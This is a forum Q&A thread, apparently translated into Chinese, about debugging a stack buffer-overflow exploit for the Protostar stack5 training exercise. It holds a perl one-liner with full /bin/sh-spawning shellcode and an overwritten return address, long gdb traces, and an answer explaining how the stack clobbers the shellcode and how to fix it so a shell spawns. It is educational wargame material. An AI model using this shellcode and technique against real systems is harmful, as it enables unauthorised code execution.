Shellcode没有正确执行
我想解决Protostar stack5。 这是一个solution。 它把shellcode后的返回地址,我试图把它放在数组中。 我已经尝试了shellcode,它的工作原理。Shellcode没有正确执行
似乎一切正常,执行跳转到shellcode,但在shellcode结束后出现分段错误,并且没有生成shell。我不知道为什么,在gdb
并非所有shellcode指令都正确显示。 例如在0xbffff690
应该是mov %esp,%ecx
而不是cwtl
。也许这是问题?这是为什么发生?
编辑:由于阵列地址在gdb
以外启动时会稍有不同,所以我们需要一个nop底座。所以我的方法可能无法工作,因为数组大小对于这个太小。但是我仍然想知道为什么shellcode的末尾在gdb
中被错误地解释。
perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2
[email protected]:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <[email protected]>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2
Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.
Breakpoint 2, 0xbffff660 in ??()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor %eax,%eax
(gdb) ni
0xbffff662 in ??()
1: x/i $pc
0xbffff662: xor %ebx,%ebx
(gdb)
0xbffff664 in ??()
1: x/i $pc
0xbffff664: mov $0x6,%al
(gdb)
0xbffff666 in ??()
1: x/i $pc
0xbffff666: int $0x80
(gdb)
0xbffff668 in ??()
1: x/i $pc
0xbffff668: push %ebx
(gdb)
0xbffff669 in ??()
1: x/i $pc
0xbffff669: push $0x7974742f
(gdb)
0xbffff66e in ??()
1: x/i $pc
0xbffff66e: push $0x7665642f
(gdb)
0xbffff673 in ??()
1: x/i $pc
0xbffff673: mov %esp,%ebx
(gdb)
0xbffff675 in ??()
1: x/i $pc
0xbffff675: xor %ecx,%ecx
(gdb)
0xbffff677 in ??()
1: x/i $pc
0xbffff677: mov $0x2712,%cx
(gdb)
0xbffff67b in ??()
1: x/i $pc
0xbffff67b: mov $0x5,%al
(gdb)
0xbffff67d in ??()
1: x/i $pc
0xbffff67d: int $0x80
(gdb)
0xbffff67f in ??()
1: x/i $pc
0xbffff67f: xor %eax,%eax
(gdb)
0xbffff681 in ??()
1: x/i $pc
0xbffff681: push %eax
(gdb)
0xbffff682 in ??()
1: x/i $pc
0xbffff682: push $0x68732f2f
(gdb)
0xbffff687 in ??()
1: x/i $pc
0xbffff687: push $0x6e69622f
(gdb)
0xbffff68c in ??()
1: x/i $pc
0xbffff68c: mov %esp,%ebx
(gdb)
0xbffff68e in ??()
1: x/i $pc
0xbffff68e: push %eax
(gdb)
0xbffff68f in ??()
1: x/i $pc
0xbffff68f: push %ebx
(gdb)
0xbffff690 in ??()
1: x/i $pc
0xbffff690: cwtl
(gdb)
0xbffff691 in ??()
1: x/i $pc
0xbffff691: idiv %bh
(gdb)
0xbffff693 in ??()
1: x/i $pc
0xbffff693: mov $0x0,%edi
(gdb)
0xbffff698 in ??()
1: x/i $pc
0xbffff698: das
(gdb)
0xbffff699 in ??()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ??()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
有趣的问题。答案是:您的堆栈溢出中存在堆栈溢出。
在我的系统中,主要的拆卸是一个稍微不同的地址:
(gdb) disas
Dump of assembler code for function main:
0x0804841d <+0>: push %ebp
0x0804841e <+1>: mov %esp,%ebp
0x08048420 <+3>: and $0xfffffff0,%esp
0x08048423 <+6>: sub $0x50,%esp
0x08048426 <+9>: lea 0x10(%esp),%eax
0x0804842a <+13>: mov %eax,(%esp)
0x0804842d <+16>: call 0x80482f0 <[email protected]>
0x08048432 <+21>: leave
0x08048433 <+22>: ret
End of assembler dump.
堆栈地址也不同:当0x0804841d
停止返回地址0xffffcedc
,这意味着,到时候我达到gets
$eax
的值是0xffffce90
,我需要相应地调整漏洞利用代码。
然后我在*0x08048433
设置断点,一旦我达到它执行以下命令:
(gdb) display/23i 0xffffce90
(gdb) stepi
这是我后来看到:
0xffffce90 in ??()
1: x/23i 0xffffce90
=> 0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0xb,%al
0xffffcec5: int $0x80
(gdb) # I press Enter here to repeat stepi
0xffffce92 in ??()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
=> 0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0xb,%al
0xffffcec5: int $0x80
(gdb)
0xffffce94 in ??()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
=> 0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0xb,%al
0xffffcec5: int $0x80
(gdb)
到目前为止,一切都很好地出发。但要注意,当我们在它到达0xffffcebe
和stepi
会发生什么:
0xffffcebf in ??()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
=> 0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0x0,%al
0xffffcec5: add %al,(%eax)
刚刚执行push
改写曾经是在0xffffcec5
用别的东西(即$eax
内容)的int80
。这是因为我们正在执行堆栈上的指令,同时push
将值写入同一个堆栈!
另一个stepi
,我看到:
(gdb) stepi
0xffffcec0 in ??()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
=> 0xffffcec0: enter $0xffce,$0xff
0xffffcec4: add %al,(%eax)
0xffffcec6: add %al,(%eax)
0xffffcec8: das
而接下来stepi
原因SIGSEGV
:
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
那么,有什么解决办法?
当我们在0xffffce90
输入代码时,我们的堆栈指向0xffffcee0
,即只有80个字节超过了shellcode。我们的shellcode长度是54个字节。因此,在我们开始破坏我们的shellcode之前,我们可以在堆栈上最多推送6个单词。
当前shellcode推送8个单词,第7次和第8次推送时自行破坏。 shellcode需要弹出某些单词(例如在0xffffcead
的第一个系统调用之后添加pop %eax
),或者使用例如扩展堆栈来扩展堆栈。输入时为add $0x80,%esp
,所以在shellcode结束和栈顶之间有足够的空间。
我用了后者,和它的工作:
(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash
伟大的答案。谢谢 – mik1904